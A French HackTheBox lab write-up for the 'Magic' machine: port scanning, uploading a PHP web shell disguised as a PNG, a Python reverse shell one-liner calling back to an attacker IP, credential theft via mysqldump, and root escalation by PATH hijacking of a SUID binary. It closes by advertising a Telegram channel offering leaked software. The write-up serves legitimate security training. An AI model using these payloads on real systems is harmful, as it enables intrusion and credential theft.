Je continue à publier des solutions envoyées à la finalisation des machines depuis le site HackTheBox .
Dans cet article, nous lançons un shell dans une image, recherchons les informations d'identification à l'aide de mysqldump et élevons les privilèges via sysinfo.
La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur de travail ou d'un hôte où il y a des données importantes pour vous, car vous vous trouvez dans un réseau privé avec des personnes qui connaissent quelque chose sur la sécurité de l'information.
Informations organisationnelles
Reconnaître
Cette machine a une adresse IP de 10.10.10.185, que j'ajoute à / etc / hosts.
10.10.10.185 magic.htb
La première étape consiste à analyser les ports ouverts. Comme il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire en utilisant masscan. Nous analysons tous les ports TCP et UDP de l'interface tun0 à 500 paquets par seconde.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.185 --rate=500
Maintenant, pour obtenir des informations plus détaillées sur les services qui s'exécutent sur les ports, exécutez une analyse avec l'option -A.
nmap -A magic.htb -p22,80
L'hôte a 2 ports ouverts: 22 pour le service SSH et 80 pour le serveur Web. Comme d'habitude, nous surfons sur le web.
Notez le lien vers la page de connexion. Tout d'abord, nous essayons un moyen de contourner l'autorisation et de trouver le bon.
Nous sommes accueillis par un formulaire de téléchargement d'images. Essayons de mettre du code en php. Pour ce faire, prenez les quatre premiers octets de l'image et ajoutez-leur du code. Dans ce cas, nous conserverons la double extension. Depuis au démarrage, le serveur vérifiera ce dernier, et à l'exécution - le premier.
python -c "print('\x89\x50\x4e\x47' + '<?php echo system($_GET[\'cmd\']); ?>')" > 1.php.png
Mais nous sommes pris.
Essayons de tricher et de cacher le code dans un commentaire.
Et après avoir essayé de télécharger, nous sommes informés du succès du téléchargement.
Le fichier est téléchargé, mais la question est de savoir où. Passons en revue les répertoires, le site est simple et j'ai eu beaucoup de temps, donc je n'ai pas utilisé de gobuster et d'énormes dictionnaires. Exécutez dirb.
Très probablement, nous avons trouvé le répertoire dans lequel les fichiers sont téléchargés. Passons maintenant à notre fichier et passons la commande ls en paramètre.
Et c'est fait!
Point d'accès
Jetons le shell inversé comme paramètre.
http://10.10.10.185/images/uploads/me.php.jpg?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.60",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Et nous obtenons une backconnect sur le port 4321.
Et dans le répertoire de travail, nous trouvons le fichier pour travailler avec la base de données.
Et dans ce fichier, nous trouvons le mot de passe de l'utilisateur.
De plus, cet utilisateur fait partie du système. Nous avons essayé de changer d'utilisateur, mais nous avons échoué.
UTILISATEUR
Puisqu'il s'agit du mot de passe de la base de données, il est associé à mysql. Mais cela n'a pas fonctionné pour moi avec mysql ou mysqladmin. Ensuite, il a été décidé de regarder tous les programmes liés à mysql.
La chance sourit à mysqldump. Nous nous connectons et trouvons le mot de passe.
mysqldump -u theseus -p iamkingtheseus Magic
Maintenant, nous avons réussi à changer l'utilisateur et à obtenir l'indicateur personnalisé.
RACINE
Pour plus de commodité, j'ai généré des clés SSH en utilisant ssh-keygen, j'ai écrit la clé publique dans le fichier ~ / .ssh / allowed_keys et en utilisant la clé privée que j'ai connectée via SSH. Ensuite, téléchargez LinPEAS sur l'hôte distant et lancez. Après une liste complète de l'ensemble du système, nous analysons la sortie. La seule chose qui m'a accroché est les fichiers avec l'ensemble SUID (ceux que nous exécutons en tant que root).
Programme Sysinfo. Après avoir recherché des informations, rien sur l'exécution de la commande n'a été trouvé. Puis l'idée est venue, et si sysinfo utilise d'autres programmes que nous pouvons discréditer. J'ai couru sysinfo sous ltrace.
Ainsi, sysinfo exécute les programmes lshw, fdisk et cat. Maintenant, plus sur le vecteur LPE. Le système d'exploitation a une variable d'environnement PATH qui stocke les chemins.
Lorsque vous tapez le programme ls ou cd, le système recherche à son tour ces fichiers dans les répertoires spécifiés dans le PATH. Ainsi, si nous écrivons un répertoire en premier lieu dans le PATH, et y mettons un autre programme ls ou cat, alors il sera appelé.
Je vais donc le faire avec fdisk. Je ne lancerai pas de shell inversé, mais copierai simplement notre clé SSH pour l'utilisateur root afin de me connecter à la racine via SSH ainsi qu'à un utilisateur.
Appelons fdisk par exemple. Comme vous pouvez le voir, un fdisk légitime a été appelé.
Ajoutons maintenant notre chemin à la variable d'environnement PATH.
Le système recherchera maintenant fdisk dans / tmp / 123 en premier.
Lançons sysinfo.
Nous voyons une erreur dans la sortie, car la racine n'a pas de répertoire .ssh. Modifions le script pour qu'il crée d'abord le répertoire, puis le copie. Après l'exécution de sysinfo, il n'y a pas d'erreurs fdisk. Nous nous connectons via SSH en tant que root et récupérons le drapeau.
Vous pouvez nous rejoindre sur Telegram . Vous pouvez y trouver des documents intéressants, des cours et des logiciels qui ont fui. Rassemblons une communauté dans laquelle il y aura des gens qui connaissent de nombreux domaines de l'informatique, alors nous pourrons toujours nous entraider sur tous les problèmes informatiques et de sécurité de l'information.